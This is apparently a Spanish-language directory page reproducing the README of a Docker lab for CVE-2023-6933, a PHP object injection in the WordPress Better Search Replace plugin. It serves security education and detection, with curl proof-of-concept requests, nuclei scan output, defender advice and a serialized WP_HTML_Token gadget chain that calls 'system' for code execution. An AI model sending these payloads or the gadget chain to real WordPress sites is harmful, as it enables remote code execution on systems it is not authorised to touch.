Directorio de Herramientas
Categorías
Herramientas / GitHub / trex96 / vulnerable-bsr-lab-cve-2023-6933
trex96/vulnerable-bsr-lab-cve-2023-6933 vulnerable-bsr-lab-CVE-2023-6933 Laboratorio práctico para CVE-2023-6933, una vulnerabilidad de inyección de objetos PHP en el plugin Better Search Replace de WordPress, con despliegue en Docker, plantilla nuclei y scripts de exploit para investigación y educación en seguridad.
5 hace 11 mesesDescubre las herramientas más usadas por nuestra comunidad.
Últimos 7 Días Últimos 30 Días
Laboratorio de Vulnerabilidad CVE-2023-6933
Resumen
Este entorno de laboratorio demuestra CVE-2023-6933, una vulnerabilidad crítica de Inyección de Objetos PHP en el plugin Better Search Replace de WordPress versiones ≤1.4.4.
Detalles de la Vulnerabilidad
ID CVE : CVE-2023-6933
Puntuación CVSS : 9.8 (Crítica)
Plugin Afectado : Better Search Replace ≤1.4.4
Tipo de Vulnerabilidad : Inyección de Objetos PHP a través de entrada de usuario no serializada
Vector de Ataque : Endpoint AJAX /wp-admin/admin-ajax.php con acción search_replace_db
Inicio Rápido
1. Desplegar el Laboratorio
# Clonar el repositorio
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Desplegar usando imagen de Docker Hub (descarga automática)
docker-compose up -d
El laboratorio automáticamente:
Descargará la imagen vulnerable de WordPress desde Docker Hub (trex999/vulnerable-bsr-lab:latest)
Configurará WordPress con MySQL y phpMyAdmin
Instalará y activará el plugin vulnerable Better Search Replace (v1.4.4)
Completará la instalación en ~60 segundos
2. Acceder al Entorno
3. Probar la Vulnerabilidad # Ejecutar el POC automatizado
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Prueba manual mediante curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
Análisis Técnico
La Vulnerabilidad El plugin Better Search Replace contiene una vulnerabilidad de Inyección de Objetos PHP en su manejador AJAX. La vulnerabilidad ocurre cuando:
La entrada del usuario se pasa al parámetro search_for mediante POST a /wp-admin/admin-ajax.php
La acción se establece en search_replace_db
La entrada contiene objetos PHP serializados que se deserializan sin la validación adecuada
Esto permite la instanciación arbitraria de objetos y potencial ejecución de código
Métodos de Verificación del POC Nuestra plantilla de nuclei demuestra la vulnerabilidad a través de múltiples etapas de verificación:
Detección del Plugin : Confirma la presencia de la versión vulnerable del plugin
Prueba de Inyección de Objetos : Envía cargas útiles serializadas y analiza las respuestas
Verificación de Comportamiento : Confirma el procesamiento exitoso de la deserialización de objetos
Características Clave de Este Laboratorio
Sin Dependencia de Errores : El POC demuestra la vulnerabilidad real mediante análisis de comportamiento, no mensajes de error
Pruebas Funcionales : Utiliza objetos serializados seguros para verificar la deserialización sin dañar el sistema
Despliegue Automatizado : Configuración completa del laboratorio con cero configuración manual
Múltiples Métodos de Prueba : Tanto plantillas automatizadas de nuclei como comandos manuales con curl
Documentación
Referencia Rápida
README.md : Este archivo - inicio rápido y resumen
CVE-2023-6933_POC_DOCUMENTATION.md : Documentación técnica completa con análisis detallado del PoC
POC_TEMPLATE_SUMMARY.md : Cumplimiento de requisitos y confirmación de entrega
Plantilla Profesional de PoC La plantilla de nuclei (nuclei-templates/cve-2023-6933.yaml) está estructurada profesionalmente:
Código limpio sin comentarios excesivos
Documentación técnica exhaustiva en archivos separados
Formato de plantilla listo para producción
Cumplimiento total con los estándares de investigación de seguridad
Resultados de las Pruebas
Ejecución Exitosa del POC $ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
✅ Detecta la versión vulnerable del plugin
✅ Confirma la capacidad de inyección de objetos mediante el análisis de respuestas
✅ Demuestra la vulnerabilidad funcional sin depender de errores
✅ Proporciona verificación de comportamiento de deserialización exitosa
Aviso de Seguridad ⚠️ ADVERTENCIA : Este entorno contiene software intencionalmente vulnerable. Úselo solo en entornos de prueba aislados. No lo implemente en producción ni en sistemas accesibles desde Internet.
Limpieza
Referencias
Creado con fines educativos y de investigación en seguridad
Entorno Docker (Docker_LAB_SETUP/)
WordPress 6.4.0 con Better Search Replace 1.4.3 vulnerable
Servidor de base de datos MySQL 8.0
phpMyAdmin para la gestión de bases de datos
Entorno vulnerable preconfigurado
Scripts de Explotación
cve_2023_6933_exploit.php - Kit de herramientas completo de explotación PHP
wp_html_token_poc.php - Demostración de RCE en WordPress 6.4.0+
bsr_direct_exploit.php - Prueba directa de vulnerabilidad
Herramientas de Detección
nuclei-templates/cve-2023-6933.yaml - Plantilla avanzada de nuclei
manual-test.sh - Script completo de pruebas manuales
🎯 Metodología de Explotación Adecuada Este laboratorio demuestra la detección basada en no-errores siguiendo las mejores prácticas para la investigación de vulnerabilidades:
1. Detección Basada en Éxito En lugar de depender de errores HTTP 500, nuestras herramientas detectan:
Procesamiento exitoso de la carga útil
Deserialización de objetos serializados
Patrones de respuesta de la aplicación
Evidencia de explotación funcional
2. Cadena RCE WP_HTML_Token Utilizando la clase WP_HTML_Token de WordPress 6.4.0+ para RCE real:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
3. Múltiples Vectores de Ataque
Explotación del endpoint AJAX (admin-ajax.php)
Manipulación directa de la interfaz del plugin
Inyección en base de datos mediante operaciones de búsqueda/reemplazo
🔬 Enfoque de Pruebas
Pruebas Manuales # Probar presencia básica del plugin
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Probar vulnerabilidad con carga útil segura
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
Características de la Plantilla Nuclei
Pruebas multi-vector : 5 solicitudes HTTP diferentes
Coincidencias basadas en éxito : Busca procesamiento funcional, no errores
Extracción completa : Detección de versiones, análisis de respuestas
Cargas útiles seguras : Enfoque de pruebas no destructivas
Características de las Pruebas Manuales
Detección y validación de versiones del plugin
Generación y prueba de múltiples cargas útiles
Demostración de RCE con WP_HTML_Token
Verificación exhaustiva de vulnerabilidad
📊 Puntos de Acceso del Laboratorio
🛡️ Consideraciones de Seguridad
Para Investigadores
Este es un entorno intencionalmente vulnerable
Úselo solo en redes aisladas/controladas
No es para entornos de producción
Solo con fines educativos
Para Defensores
Actualice Better Search Replace a ≥ 1.4.5
Implemente reglas WAF para datos serializados
Monitoree patrones de inyección de objetos
Auditorías de seguridad periódicas de plugins de WordPress
📚 Valor Educativo Este laboratorio proporciona experiencia práctica con:
Vulnerabilidades de Inyección de Objetos PHP
Análisis de seguridad de plugins de WordPress
Ataques de serialización/deserialización
Explotación de cadenas de gadgets
Automatización de detección de vulnerabilidades
Metodologías de pruebas de seguridad
Autor : Trex
Versión del Laboratorio : 2.0 - Metodología de POC Mejorada